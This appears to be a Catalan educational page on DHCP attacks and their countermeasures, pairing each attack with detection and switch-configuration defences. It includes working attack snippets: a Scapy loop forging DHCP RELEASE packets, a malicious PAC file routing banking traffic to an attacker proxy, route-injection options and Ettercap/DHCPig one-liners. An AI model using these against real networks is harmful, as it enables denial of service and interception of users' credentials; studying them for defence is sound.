Salta el contingut

Possibles atacs contra Serveis DHCP

Si només et quedes amb una cosa

La mitigació més efectiva contra la majoria d'atacs d'aquesta pàgina (starvation, rogue server, spoofing) és una sola funcionalitat de switch: DHCP Snooping. Vegeu la configuració a "Contramesures Específiques per Cada Atac" més avall.

Índex

  1. DHCP Starvation (Esgotament DHCP)
  2. Rogue DHCP Server (Servidor DHCP Maliciós)
  3. DHCP Spoofing Avançat
  4. DHCP Option Injection
  5. DHCP Release/Renew Attacks
  6. DHCP Relay Attacks
  7. DHCP Fingerprinting
  8. Contramesures

Taula resum comparativa

# Atac Funcionament (en poques paraules) Impacte principal Detecció clau Mitigació principal
1 DHCP Starvation Flood de DISCOVER amb MACs falses fins a esgotar el pool DoS: nous clients sense IP Pool al 100% sobtat, moltes MACs noves DHCP Snooping + rate limiting + Port Security
2 Rogue DHCP Server Servidor DHCP il·legítim que respon abans/millor que el real MITM, DNS/gateway sota control atacant Ofertes DHCP des d'IP no autoritzada DHCP Snooping (ports trusted)
3 DHCP Spoofing avançat Respostes OFFER falses personalitzades guanyant la cursa al servidor real MITM selectiu, hijacking de sessió OFFER duplicats, timing anòmal DHCP Snooping + DAI
4 Option Injection Injecció d'opcions DHCP malicioses (121, 252, 6, 3, 15…) Redirecció de rutes/DNS/proxy Opcions inusuals en captures Filtrat d'opcions + DHCP Snooping
5 Release/Renew RELEASE/DECLINE/NAK falsos per alliberar o bloquejar IPs DoS intermitent, hijacking de renovació IPs alliberades sense motiu, conflictes DAI + IP Source Guard
6 Relay Attacks Suplantació de relay agent / manipulació de GIADDR i Option 82 MITM entre subxarxes GIADDR incoherent, Option 82 alterat Relays de confiança + validació Option 82
7 Fingerprinting Anàlisi passiva/activa d'opcions per identificar dispositius Reconeixement previ a l'atac Sondes INFORM anòmales Minimitzar informació exposada, segmentació

Com llegir les fitxes següents

Cada atac té una fitxa amb les files Funcionament, Procés, Impacte, Detecció i Mitigació. Els detalls de configuració de la mitigació estan a Contramesures Específiques per Cada Atac.


1. DHCP Starvation (Esgotament DHCP)

Aspecte Descripció
Funcionament L'atacant genera múltiples paquets DHCP DISCOVER amb adreces MAC falsificades. Cada paquet simula ser un dispositiu diferent sol·licitant una IP, fins que s'esgota el pool d'adreces disponibles.
Procés 1) Descobriment del rang DHCP — identifica l'abast d'IPs disponibles. 2) Generació de MACs falses — crea adreces MAC úniques per codi. 3) Flood de DISCOVER — envia massivament sol·licituds. 4) Manteniment dels leases — renova periòdicament per mantenir les IPs ocupades.
Variants Targeted (subxarxes concretes) · Intelligent (deixa IPs lliures per evitar detecció) · Coordinated (múltiples atacants).
Impacte Denegació de servei per a nous dispositius · interrupció de la connectivitat · clients legítims que no poden obtenir IP.
Detecció Pool DHCP al 100% d'ocupació de forma sobtada · gran nombre de MACs noves als logs · queixes d'usuaris que no es poden connectar.
Mitigació DHCP Snooping + rate limiting de paquets DHCP per port + Port Security (limitar MACs per port). Vegeu Contra DHCP Starvation.

2. Rogue DHCP Server (Servidor DHCP Maliciós)

Aspecte Descripció
Funcionament L'atacant desplega un servidor DHCP il·legítim a la xarxa que respon les sol·licituds dels clients, competint amb el servidor legítim per lliurar una configuració controlada per ell.
Procés 1) Reconeixement — identificar la configuració DHCP actual. 2) Posicionament — situar-se física o lògicament a la xarxa. 3) Configuració maliciosa — crear un perfil DHCP atractiu (lease time llarg, resposta ràpida).
Estratègies Speed advantage (respondre abans que el legítim) · Attractive offers (lease times més llargs) · Selective targeting (només dispositius concrets).
Payloads comuns DNS Poisoning (DNS controlat per l'atacant) · Gateway redirection (tot el tràfic passa per l'atacant) · Proxy injection · WPAD exploitation.
Impacte Man-in-the-Middle complet · robatori de credencials · redirecció de tràfic sensible (banca, xarxes socials).
Detecció Ofertes DHCP procedents d'una IP/MAC no autoritzada · múltiples servidors responent · clients amb gateway o DNS inesperats.
Mitigació DHCP Snooping marcant com a trusted només els ports dels servidors legítims. Vegeu Contra Rogue DHCP Server.

3. DHCP Spoofing Avançat

Aspecte Descripció
Funcionament Variant sofisticada del rogue server: l'atacant intercepta els DISCOVER legítims, analitza el client i envia respostes OFFER personalitzades guanyant la cursa al servidor real.
Procés (MITM DHCP) 1) Interceptació — captura DISCOVER legítims. 2) Anàlisi — extreu hostname, vendor, etc. 3) Personalització — crea respostes específiques per client. 4) Injecció — envia OFFER abans que el servidor real.
Tècniques Race condition (explota el timing DISCOVEROFFER, múltiples interfícies, cache de respostes) · Session hijacking (allibera i re-sol·licita la IP de la víctima).
Impacte MITM selectiu i dirigit · segrest de sessió · configuració de gateway maliciós per a víctimes concretes.
Detecció OFFER duplicats per a un mateix DISCOVER · latència/timing anòmal en la negociació · IPs reassignades sobtadament.
Mitigació DHCP Snooping + Dynamic ARP Inspection (DAI). Vegeu Contramesures.

Session Hijacking via DHCP (pseudocodi):

# Pseudocodi d'atac
def dhcp_hijack(target_mac, target_ip):
    # Enviar DHCP RELEASE fals per alliberar la IP
    send_dhcp_release(target_mac, target_ip)

    # Immediatament sol·licitar la mateixa IP
    send_dhcp_discover(attacker_mac)

    # Configurar IP amb gateway maliciós
    configure_malicious_dhcp_offer(target_ip)

4. DHCP Option Injection (Injecció d'Opcions DHCP)

Aspecte Descripció
Funcionament L'atacant (via rogue server o spoofing) inclou opcions DHCP malicioses a les respostes per manipular el routing, el DNS o el proxy del client.
Procés Lliurar una OFFER/ACK amb opcions crítiques manipulades: 121 (rutes estàtiques), 252 (WPAD/PAC), 6 (DNS), 3 (gateway), 15/119 (dominis).
Impacte Redirecció selectiva de tràfic · interceptació HTTPS via proxy · DNS spoofing · control total del routing del client.
Detecció Presència d'opcions inusuals (121, 252…) en captures DHCP · clients amb rutes/proxy no configurats per l'administrador.
Mitigació Filtrat d'opcions perilloses al relay/proxy DHCP + DHCP Snooping. Vegeu Contra Option Injection.

Opcions DHCP Crítiques per Atacar

Opció 121 - Static Routes (Rutes Estàtiques)

# Exemple d'injecció maliciosa
option classless-static-routes 
    8, 10.0.0.0, 192.168.1.10,     # Redirigir 10.0.0.0/8 a atacant
    24, 192.168.2.0, 192.168.1.10, # Redirigir subxarxa específica
    0, 192.168.1.1;                 # Gateway per defecte original

Opció 252 - Proxy Auto-Config

option web-proxy-auto-discovery-url "http://192.168.1.10/wpad.dat";
Contingut del Fitxer PAC Maliciós
function FindProxyForURL(url, host) {
    // Interceptar tràfic bancari
    if (shExpMatch(host, "*.bank.com") || shExpMatch(host, "*banking*")) {
        return "PROXY 192.168.1.10:8080";
    }

    // Interceptar tràfic social media
    if (shExpMatch(host, "*.facebook.com") || shExpMatch(host, "*.twitter.com")) {
        return "PROXY 192.168.1.10:8080";
    }

    // Permetre altre tràfic directament
    return "DIRECT";
}

Altres Opcions Importants

  • Opció 15 - Domain Name: Canviar domini per DNS spoofing
  • Opció 119 - Domain Search List: Manipular l'ordre de cerca de dominis
  • Opció 6 - DNS Servers: Redirigir tot el DNS
  • Opció 3 - Default Gateway: Control total del routing

5. DHCP Release/Renew Attacks (Atacs de Alliberament/Renovació)

Aspecte Descripció
Funcionament L'atacant falsifica missatges de gestió del cicle de vida del lease (RELEASE, DECLINE, NAK) per alliberar IPs actives, bloquejar-les o segrestar renovacions.
Procés Release attack (envia RELEASE fals a nom de la víctima) · Decline attack (envia DECLINE perquè el servidor marqui IPs com "in use") · Renewal hijacking (envia NAK abans que el servidor legítim quan el client renova, i el redirigeix).
Impacte DoS intermitent i difícil de diagnosticar · pèrdua de connectivitat de clients concrets · segrest de configuració en la renovació.
Detecció IPs alliberades sense que el client s'hagi desconnectat · conflictes d'IP freqüents · NAK inesperats als logs.
Mitigació Dynamic ARP Inspection (DAI) + IP Source Guard (validar que IP i MAC coincideixen amb el binding de snooping). Vegeu Contra Release/Renew Attacks.

DoS Intermitent

DHCP Release Attack

# Tècnica d'atac
import scapy.all as scapy

def dhcp_release_attack(target_range, dhcp_server):
    for target_ip in target_range:
        # Obtenir MAC associada a la IP
        target_mac = get_mac_for_ip(target_ip)

        # Crear paquet DHCP RELEASE fals
        dhcp_release = scapy.DHCP(options=[
            ("message-type", "release"),
            ("server_id", dhcp_server),
            ("end")
        ])

        packet = (scapy.Ether(dst="ff:ff:ff:ff:ff:ff", src=target_mac) /
                  scapy.IP(src=target_ip, dst=dhcp_server) /
                  scapy.UDP(sport=68, dport=67) /
                  scapy.BOOTP(chaddr=target_mac, ciaddr=target_ip) /
                  dhcp_release)

        scapy.sendp(packet)

DHCP Decline Attack

  • Envia DHCP DECLINE per marcar IPs com "in use"
  • Simula conflictes d'IP per crear confusió
  • Força al servidor a marcar IPs com no disponibles

Renewal Hijacking

  1. Monitoratge: Detectar quan clients intenten renovar
  2. Interceptació: Capturar paquets DHCP REQUEST
  3. Competició: Enviar DHCP NAK abans del servidor legítim
  4. Substitució: Oferir nova configuració quan el client torna a DISCOVER

6. DHCP Relay Attacks (Atacs a Relay DHCP)

Aspecte Descripció
Funcionament En xarxes amb relay agents (routing DHCP entre subxarxes), l'atacant suplanta un relay legítim o manipula els camps que aquest afegeix (GIADDR, Option 82) per interceptar o desviar el tràfic.
Procés Relay Agent Spoofing (fer-se passar per un relay legítim i interceptar sol·licituds entre subxarxes) · GIADDR Manipulation (canviar el camp GIADDR perquè les respostes es dirigeixin a una subxarxa controlada) · Option 82 Injection (falsificar circuit_id/remote_id).
Impacte MITM entre subxarxes · assignació d'IPs de subxarxes equivocades · evasió de polítiques basades en Option 82.
Detecció GIADDR incoherent amb la topologia · Option 82 amb valors inesperats · relays no autoritzats generant tràfic.
Mitigació Definir només relays de confiança · validació d'Option 82 al switch/servidor · segmentació i ACLs de capa 3.

Man-in-the-Middle via Relay

Relay Agent Spoofing

  • Simular ser un relay agent legítim
  • Interceptar sol·licituds entre subxarxes
  • Modificar Option 82 (Relay Agent Information)

Tècnica GIADDR Manipulation

# Modificar camp GIADDR en paquets relay
Original: GIADDR = 192.168.1.1 (subnet A)
Maliciós: GIADDR = 192.168.2.1 (subnet B controlada per atacant)

Option 82 Injection

# Exemple d'injecció maliciosa
option_82 = {
    'circuit_id': b'\x01\x04\x00\x10\x00\x01',  # Port fals
    'remote_id': b'\x02\x06attacker_switch'      # Switch controlat
}

7. DHCP Fingerprinting i Intelligence Gathering

Aspecte Descripció
Funcionament No és un atac destructiu sinó una fase de reconeixement: l'atacant analitza les opcions i signatures dels missatges DHCP per identificar sistemes operatius, dispositius i usuaris abans d'atacar.
Procés Passiu (analitzar Option 55 / Parameter Request List, Vendor Class Identifier i hostname per classificar dispositius) · Actiu (enviar INFORM per obtenir configuració sense lease, timing analysis del servidor).
Impacte Mapa detallat de la xarxa · selecció d'objectius vulnerables · preparació d'atacs dirigits posteriors.
Detecció Sondes INFORM inusuals · un mateix host consultant molts paràmetres · patrons de tràfic de reconeixement.
Mitigació Minimitzar la informació exposada (hostnames genèrics) · segmentació de xarxa · monitoratge de tràfic DHCP anòmal.

Passive Information Gathering

Anàlisi d'Opcions DHCP Sol·licitades

  • Opció 55 (Parameter Request List): Revela SO i aplicacions
  • Vendor Class Identifier: Identifica tipus de dispositiu
  • Hostname option: Revela informació d'usuari

Device Classification

# Signatures comuns
signatures = {
    "MSFT 5.0": "Windows XP/Vista",
    "MSFT 98": "Windows 98",
    "android-dhcp": "Android Device", 
    "iPhone": "iOS Device",
    "DHCP Zyxel": "Router Zyxel",
    "udhcp": "Dispositiu Linux embedded",
    "DHCP VendorClass": "Equip de xarxa"
}

def identify_device(vendor_class, parameter_list):
    if vendor_class in signatures:
        device_type = signatures[vendor_class]
    else:
        device_type = analyze_parameters(parameter_list)

    return device_type

Active Probing

  • Enviar DHCP INFORM per obtenir configuració sense lease
  • Utilitzar opcions específiques per triggering responses
  • Timing analysis per fingerprinting de servidor

Contramesures Específiques per Cada Atac

Contra DHCP Starvation

Configuració Cisco Switch

# Habilitar DHCP Snooping
ip dhcp snooping
ip dhcp snooping vlan 10,20,30

# Limitar rate de paquets DHCP per port
interface range GigabitEthernet0/1-24
 ip dhcp snooping limit rate 10  # Màxim 10 paquets/segon

# Configurar ports trusted (uplinks)
interface GigabitEthernet0/48
 ip dhcp snooping trust

Configuració HP/Aruba Switch

dhcp-snooping
dhcp-snooping vlan 10,20,30
dhcp-snooping trust GigabitEthernet1/0/48
dhcp-snooping max-binding 1000

Contra Rogue DHCP Server

DHCP Snooping Avançat

# Configuració completa DHCP Snooping
ip dhcp snooping
ip dhcp snooping vlan 10-50

# Ports trusted només per a servidors DHCP legítims
interface GigabitEthernet0/1
 description "Connexió a servidor DHCP legítim"
 ip dhcp snooping trust

# Tots els altres ports com untrusted
interface range GigabitEthernet0/2-47
 ip dhcp snooping limit rate 5

# Habilitar detecció d'ofertes múltiples
ip dhcp snooping information option
ip dhcp snooping verify mac-address

Detecció d'Anomalies

#!/bin/bash
# Script de monitoratge DHCP
LOG_FILE="/var/log/dhcp-monitor.log"

# Monitorar múltiples servidors DHCP
tcpdump -i any port 67 -l | while read line; do
    echo "$line" | grep "DHCP.*Offer" | awk '{
        server_ip = $x  # Extreure IP del servidor
        if (server_ip != "192.168.1.1") {
            print "[ALERT] Rogue DHCP detected from:", server_ip
        }
    }' >> $LOG_FILE
done

Contra Option Injection

Filtrat d'Opcions Perilloses

# Exemple de filtrat en proxy DHCP
DANGEROUS_OPTIONS = [121, 252, 15, 119, 249]

def filter_dhcp_options(dhcp_packet):
    filtered_options = []

    for option in dhcp_packet.options:
        option_code = option[0] if isinstance(option[0], int) else ord(option[0])

        if option_code not in DANGEROUS_OPTIONS:
            filtered_options.append(option)
        else:
            print(f"[WARNING] Blocked dangerous DHCP option {option_code}")

    dhcp_packet.options = filtered_options
    return dhcp_packet

Contra Release/Renew Attacks

Dynamic ARP Inspection (DAI)

# Habilitar DAI
ip arp inspection vlan 10-50

# Configurar trusted ports per DAI
interface GigabitEthernet0/48
 ip arp inspection trust

# Rate limiting per ARP
ip arp inspection limit rate 15

# Validacions addicionals
ip arp inspection validate src-mac dst-mac ip

IP Source Guard

# Habilitar IP Source Guard
interface range GigabitEthernet0/1-47
 ip verify source port-security
 ip verify source dhcp-snooping

Monitoratge i Logging Avançat

Script de Monitoratge Complet

#!/bin/bash
# Monitor DHCP comprehensiu

LOG_DIR="/var/log/dhcp-security"
mkdir -p $LOG_DIR

# Monitorar anomalies DHCP
tcpdump -i any -w $LOG_DIR/dhcp-$(date +%Y%m%d).pcap port 67 or port 68 &

# Anàlisi en temps real
tail -f /var/log/syslog | grep -i dhcp | while read line; do
    # Detectar múltiples ofertes
    if echo "$line" | grep -q "DHCPOFFER"; then
        server=$(echo "$line" | grep -o '[0-9]\+\.[0-9]\+\.[0-9]\+\.[0-9]\+')
        echo "$(date): DHCP Offer from $server" >> $LOG_DIR/offers.log
    fi

    # Detectar starvation
    if echo "$line" | grep -q "no free leases"; then
        echo "$(date): [CRITICAL] DHCP Pool exhausted!" >> $LOG_DIR/alerts.log
        # Enviar alerta
        mail -s "DHCP Pool Exhausted" admin@company.com < $LOG_DIR/alerts.log
    fi
done

SNMP Monitoring per DHCP

import pysnmp
from pysnmp.hlapi import *

def monitor_dhcp_pool():
    # OID per pool utilization (exemple Cisco)
    pool_oid = '1.3.6.1.4.1.9.9.101.1.2.1.1.6'

    for (errorIndication, errorStatus, errorIndex, varBinds) in nextCmd(
        SnmpEngine(),
        CommunityData('public'),
        UdpTransportTarget(('dhcp-server-ip', 161)),
        ContextData(),
        ObjectType(ObjectIdentity(pool_oid)),
        lexicographicMode=False):

        if errorIndication:
            print(errorIndication)
            break
        elif errorStatus:
            print(f"{errorStatus} at {errorIndex}")
            break
        else:
            for varBind in varBinds:
                pool_usage = int(varBind[1])
                if pool_usage > 90:  # 90% utilitzat
                    send_alert(f"DHCP Pool at {pool_usage}% capacity")

Eines d'Atac Comunes

Yersinia

  • Framework per atacs de capa 2
  • Interfície gràfica i de línia de comandes
  • Suport per múltiples protocols incloent DHCP

DHCPig

# Exemple d'ús DHCPig per starvation
./dhcpig.py -i eth0 -v

Scapy (Python)

# Exemple d'atac personalitzat
from scapy.all import *

def custom_dhcp_attack():
    # Crear paquet DHCP maliciós
    dhcp_discover = DHCP(options=[("message-type","discover"),"end"])
    # ... rest del codi

Ettercap

# Atac man-in-the-middle amb DHCP spoofing
ettercap -T -M dhcp:192.168.1.0/24/192.168.1.1,192.168.1.254 -P dns_spoof

Recomanacions de Seguretat

Implementació per Capes

  1. Capa Física: Control d'accés físic als switches
  2. Capa 2: DHCP Snooping, Port Security, DAI
  3. Capa 3: IP Source Guard, ACLs
  4. Capa d'Aplicació: Monitoratge i alertes

Auditoria Regular

  • Revisió periòdica de logs DHCP
  • Verificació de configuracions de seguretat
  • Tests de penetració interns
  • Actualització de signatures de detecció

Documentació i Formació

  • Procediments d'incident response per atacs DHCP
  • Formació del personal en detecció d'anomalies
  • Mantenir inventari actualitzat de dispositius de xarxa

Activitats d'aprofundiment DHCP Avançades